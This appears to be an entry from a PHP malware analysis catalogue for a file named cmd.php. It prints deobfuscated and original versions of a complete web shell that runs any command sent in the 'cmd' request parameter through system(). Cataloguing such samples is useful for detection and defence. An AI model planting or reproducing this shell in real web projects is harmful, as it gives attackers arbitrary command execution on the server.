PHP Malware Analysis

Back to list

Filename: cmd.php

Tags

Execution
  • system

Deobfuscated code

<?php

if (isset($_REQUEST["cmd"])) {
    echo "<pre>";
    $cmd = $_REQUEST["cmd"];
    system($cmd);
    echo "</pre>";
    die;
}


Original code

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>